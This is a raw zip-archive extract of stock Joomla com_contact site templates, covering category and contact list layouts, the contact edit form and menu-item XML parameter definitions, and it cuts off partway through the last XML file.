                <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
                <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
            </div>
        <?php endif; ?>

        <?php if ($this->params->get('show_pagination_limit')) : ?>
            <div class="com-contact-category__pagination btn-group float-end">
                <label for="limit" class="visually-hidden">
                    <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                </label>
                <?php echo $this->pagination->getLimitBox(); ?>
            </div>
        <?php endif; ?>

        <?php if (empty($this->items)) : ?>
            <?php if ($this->params->get('show_no_contacts', 1)) : ?>
                <div class="alert alert-info">
                    <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_CONTACT_NO_CONTACTS'); ?>
                </div>
            <?php endif; ?>

        <?php else : ?>
            <table class="com-content-category__table category table table-striped table-bordered table-hover" id="contactList">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_CONTACT_TABLE_CAPTION'); ?>,
                </caption>
                <thead<?php echo $this->params->get('show_headings', '1') ? '' : ' class="visually-hidden"'; ?>>
                    <tr>
                        <th scope="col" id="categorylist_header_title">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTACT_FIELD_NAME_LABEL', 'a.name', $listDirn, $listOrder, null, 'asc', '', 'adminForm'); ?>
                        </th>
                        <th scope="col">
                            <?php echo Text::_('COM_CONTACT_CONTACT_DETAILS'); ?>
                        </th>
                        <?php if ($showEditColumn) : ?>
                            <th scope="col">
                                <?php echo Text::_('COM_CONTACT_EDIT_CONTACT'); ?>
                            </th>
                        <?php endif; ?>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($this->items as $i => $item) : ?>
                        <?php if ($this->items[$i]->published == 0) : ?>
                            <tr class="system-unpublished cat-list-row<?php echo $i % 2; ?>">
                        <?php else : ?>
                            <tr class="cat-list-row<?php echo $i % 2; ?>" >
                        <?php endif; ?>
                        <th scope="row" class="list-title">
                            <a href="<?php echo Route::_(RouteHelper::getContactRoute($item->slug, $item->catid, $item->language)); ?>">
                                <?php if ($this->params->get('show_image_heading')) : ?>
                                    <?php if ($item->image) : ?>
                                        <?php echo LayoutHelper::render(
                                            'joomla.html.image',
                                            [
                                                'src'   => $item->image,
                                                'alt'   => '',
                                                'class' => 'contact-thumbnail img-thumbnail',
                                            ]
                                        ); ?>
                                    <?php endif; ?>
                                <?php endif; ?>
                                <?php echo $this->escape($item->name); ?>
                            </a>
                            <?php if ($item->published == 0) : ?>
                                <div>
                                    <span class="list-published badge bg-warning text-light">
                                        <?php echo Text::_('JUNPUBLISHED'); ?>
                                    </span>
                                </div>
                            <?php endif; ?>
                            <?php if ($item->publish_up && strtotime($item->publish_up) > strtotime(Factory::getDate())) : ?>
                                <div>
                                    <span class="list-published badge bg-warning text-light">
                                        <?php echo Text::_('JNOTPUBLISHEDYET'); ?>
                                    </span>
                                </div>
                            <?php endif; ?>
                            <?php if (!is_null($item->publish_down) && strtotime($item->publish_down) < strtotime(Factory::getDate())) : ?>
                                <div>
                                    <span class="list-published badge bg-warning text-light">
                                        <?php echo Text::_('JEXPIRED'); ?>
                                    </span>
                                </div>
                            <?php endif; ?>
                            <?php if ($item->published == -2) : ?>
                                <div>
                                    <span class="badge bg-warning text-light">
                                        <?php echo Text::_('JTRASHED'); ?>
                                    </span>
                                </div>
                            <?php endif; ?>

                            <?php echo $item->event->afterDisplayTitle; ?>
                        </th>
                        <td>
                            <?php echo $item->event->beforeDisplayContent; ?>

                            <?php if ($this->params->get('show_telephone_headings') && !empty($item->telephone)) : ?>
                                <?php echo Text::sprintf('COM_CONTACT_TELEPHONE_NUMBER', $item->telephone); ?><br>
                            <?php endif; ?>

                            <?php if ($this->params->get('show_mobile_headings') && !empty($item->mobile)) : ?>
                                <?php echo Text::sprintf('COM_CONTACT_MOBILE_NUMBER', $item->mobile); ?><br>
                            <?php endif; ?>

                            <?php if ($this->params->get('show_fax_headings') && !empty($item->fax)) : ?>
                                <?php echo Text::sprintf('COM_CONTACT_FAX_NUMBER', $item->fax); ?><br>
                            <?php endif; ?>

                            <?php if ($this->params->get('show_position_headings') && !empty($item->con_position)) : ?>
                                <?php echo $item->con_position; ?><br>
                            <?php endif; ?>

                            <?php if ($this->params->get('show_email_headings') && !empty($item->email_to)) : ?>
                                <?php echo $item->email_to; ?><br>
                            <?php endif; ?>

                            <?php $location = []; ?>
                            <?php if ($this->params->get('show_suburb_headings') && !empty($item->suburb)) : ?>
                                <?php $location[] = $item->suburb; ?>
                            <?php endif; ?>

                            <?php if ($this->params->get('show_state_headings') && !empty($item->state)) : ?>
                                <?php $location[] = $item->state; ?>
                            <?php endif; ?>

                            <?php if ($this->params->get('show_country_headings') && !empty($item->country)) : ?>
                                <?php $location[] = $item->country; ?>
                            <?php endif; ?>
                            <?php echo implode(', ', $location); ?>

                            <?php echo $item->event->afterDisplayContent; ?>
                        </td>
                        <?php if ($canEdit || ($canDo->get('core.edit.own') && $item->created_by === $userId)) : ?>
                            <td>
                                <?php echo HTMLHelper::_('contacticon.edit', $item, $this->params); ?>
                            </td>
                        <?php endif; ?>
                    <?php endforeach; ?>
                </tbody>
            </table>
        <?php endif; ?>

        <?php if ($canDo->get('core.create')) : ?>
            <?php echo HTMLHelper::_('contacticon.create', $this->category, $this->category->params); ?>
        <?php endif; ?>

        <?php if ($this->params->get('show_pagination', 2)) : ?>
            <div class="com-contact-category__pagination w-100">
                <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                    <p class="com-contact-category__counter counter float-end pt-3 pe-2">
                        <?php echo $this->pagination->getPagesCounter(); ?>
                    </p>
                <?php endif; ?>

                <?php echo $this->pagination->getPagesLinks(); ?>
            </div>
        <?php endif; ?>
        <div>
            <input type="hidden" name="filter_order" value="<?php echo $this->escape($this->state->get('list.ordering')); ?>">
            <input type="hidden" name="filter_order_Dir" value="<?php echo $this->escape($this->state->get('list.direction')); ?>">
        </div>
    </form>
</div>
PK���\6Fe}.com_contact/tmpl/category/default_children.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

if ($this->maxLevel != 0 && count($this->children[$this->category->id]) > 0) :
    ?>
<ul class="com-contact-category__children list-striped list-condensed">
    <?php foreach ($this->children[$this->category->id] as $id => $child) : ?>
        <?php if ($this->params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) : ?>
    <li>
        <h4 class="item-title">
            <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($child->id, $child->language)); ?>">
            <?php echo $this->escape($child->title); ?>
            </a>

            <?php if ($this->params->get('show_cat_items') == 1) : ?>
                <span class="badge bg-info float-end" title="<?php echo Text::_('COM_CONTACT_CAT_NUM'); ?>"><?php echo $child->numitems; ?></span>
            <?php endif; ?>
        </h4>

            <?php if ($this->params->get('show_subcat_desc') == 1) : ?>
                <?php if ($child->description) : ?>
                <div class="category-desc">
                    <?php echo HTMLHelper::_('content.prepare', $child->description, '', 'com_contact.category'); ?>
                </div>
                <?php endif; ?>
            <?php endif; ?>

            <?php if (count($child->getChildren()) > 0) :
                $this->children[$child->id] = $child->getChildren();
                $this->category = $child;
                $this->maxLevel--;
                echo $this->loadTemplate('children');
                $this->category = $child->getParent();
                $this->maxLevel++;
            endif; ?>
    </li>
        <?php endif; ?>
    <?php endforeach; ?>
</ul>
<?php endif; ?>
PK���\|O�jjcom_contact/tmpl/form/edit.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$this->tab_name         = 'com-contact-form';
$this->ignore_fieldsets = ['details', 'item_associations', 'language'];
$this->useCoreUI        = true;
?>
<div class="edit item-page<?php echo $this->pageclass_sfx; ?>">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>

    <form action="<?php echo Route::_('index.php?option=com_contact&id=' . (int) $this->item->id); ?>" method="post"
        name="adminForm" id="adminForm" class="form-validate form-vertical">
        <fieldset>
            <?php echo HTMLHelper::_('uitab.startTabSet', $this->tab_name, ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>
            <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'details', empty($this->item->id) ? Text::_('COM_CONTACT_NEW_CONTACT') : Text::_('COM_CONTACT_EDIT_CONTACT')); ?>
            <?php echo $this->form->renderField('name'); ?>

            <?php if (is_null($this->item->id)) : ?>
                <?php echo $this->form->renderField('alias'); ?>
            <?php endif; ?>

            <?php echo $this->form->renderFieldset('details'); ?>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>

            <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'misc', Text::_('COM_CONTACT_FIELDSET_MISCELLANEOUS')); ?>
            <?php echo $this->form->getInput('misc'); ?>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>

            <?php if (Multilanguage::isEnabled()) : ?>
                <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'language', Text::_('JFIELD_LANGUAGE_LABEL')); ?>
                <?php echo $this->form->renderField('language'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php else : ?>
                <?php echo $this->form->renderField('language'); ?>
            <?php endif; ?>

            <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>
            <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

            <input type="hidden" name="task" value=""/>
            <input type="hidden" name="return" value="<?php echo $this->return_page; ?>"/>
            <?php echo HTMLHelper::_('form.token'); ?>
        </fieldset>
        <div class="mb-2">
            <button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('contact.save')">
                <span class="icon-check" aria-hidden="true"></span>
                <?php echo Text::_('JSAVE'); ?>
            </button>
            <button type="button" class="btn btn-danger" onclick="Joomla.submitbutton('contact.cancel')">
                <span class="icon-times" aria-hidden="true"></span>
                <?php echo Text::_('JCANCEL'); ?>
            </button>
            <?php if ($this->params->get('save_history', 0) && $this->item->id) : ?>
                <?php echo $this->form->getInput('contenthistory'); ?>
            <?php endif; ?>
        </div>
    </form>
</div>
PK���\u5�com_contact/tmpl/form/edit.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTACT_FORM_VIEW_DEFAULT_TITLE">
		<help
			key="Menu_Item:_Create_Contact"
		/>
		<message>
			<![CDATA[COM_CONTACT_FORM_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">

	</fields>
</metadata>
PK���\N_�l__-com_contact/tmpl/categories/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) :
    ?>
    <?php foreach ($this->items[$this->parent->id] as $id => $item) : ?>
        <?php if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : ?>
            <div class="com-contact-categories__items">
                <h3 class="page-header item-title">
                    <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($item->id, $item->language)); ?>">
                    <?php echo $this->escape($item->title); ?></a>
                    <?php if ($this->params->get('show_cat_items_cat') == 1) :?>
                        <span class="badge bg-info">
                            <?php echo Text::_('COM_CONTACT_NUM_ITEMS'); ?>&nbsp;
                            <?php echo $item->numitems; ?>
                        </span>
                    <?php endif; ?>
                    <?php if ($this->maxLevelcat > 1 && count($item->getChildren()) > 0) : ?>
                        <button
                            type="button"
                            id="category-btn-<?php echo $item->id; ?>"
                            data-bs-target="#category-<?php echo $item->id; ?>"
                            data-bs-toggle="collapse"
                            class="btn btn-secondary btn-sm float-end"
                            aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"
                        >
                            <span class="icon-plus" aria-hidden="true"></span>
                        </button>
                    <?php endif; ?>
                </h3>
                <?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?>
                    <?php if ($item->description) : ?>
                        <div class="category-desc">
                            <?php echo HTMLHelper::_('content.prepare', $item->description, '', 'com_contact.categories'); ?>
                        </div>
                    <?php endif; ?>
                <?php endif; ?>

                <?php if ($this->maxLevelcat > 1 && count($item->getChildren()) > 0) : ?>
                    <div class="collapse fade" id="category-<?php echo $item->id; ?>">
                        <?php
                        $this->items[$item->id] = $item->getChildren();
                        $this->parent = $item;
                        $this->maxLevelcat--;
                        echo $this->loadTemplate('items');
                        $this->parent = $item->getParent();
                        $this->maxLevelcat++;
                        ?>
                    </div>
                <?php endif; ?>
            </div>
        <?php endif; ?>
    <?php endforeach; ?><?php
endif; ?>
PK���\+���vv'com_contact/tmpl/categories/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

// Add strings for translations in Javascript.
Text::script('JGLOBAL_EXPAND_CATEGORIES');
Text::script('JGLOBAL_COLLAPSE_CATEGORIES');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('com_categories');
$wa->useScript('com_categories.shared-categories-accordion');

?>
<div class="com-contact-categories categories-list">
    <?php
        echo LayoutHelper::render('joomla.content.categories_default', $this);
        echo $this->loadTemplate('items');
    ?>
</div>
PK���\=�e[BGBG'com_contact/tmpl/categories/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTACT_CATEGORIES_VIEW_DEFAULT_TITLE" option="COM_CONTACT_CATEGORIES_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_List_All_Contact_Categories"
		/>
		<message>
			<![CDATA[COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
		>
			<field
				name="id"
				type="category"
				label="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL"
				extension="com_contact"
				show_root="true"
				required="true"
			/>
		</fieldset>
	</fields>
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORIES_OPTIONS">
			<field
				name="show_base_description"
				type="list"
				label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="categories_description"
				type="textarea"
				label="JGLOBAL_FIELD_CATEGORIES_DESC_LABEL"
				cols="25"
				rows="5"
			/>

			<field
				name="maxLevelcat"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories_cat"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc_cat"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_items_cat"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>
		<fieldset name="category" label="JGLOBAL_CATEGORY_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">

			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_no_contacts"
				type="list"
				label="COM_CONTACT_NO_CONTACTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_category_heading_title_text"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORY_HEADING"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_items"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_headings"
				type="list"
				label="JGLOBAL_EMAIL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="contact" label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL">

			<field
				name="show_contact_category"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
				<option value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
			</field>

			<field
				name="show_contact_list"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				useglobal="true"
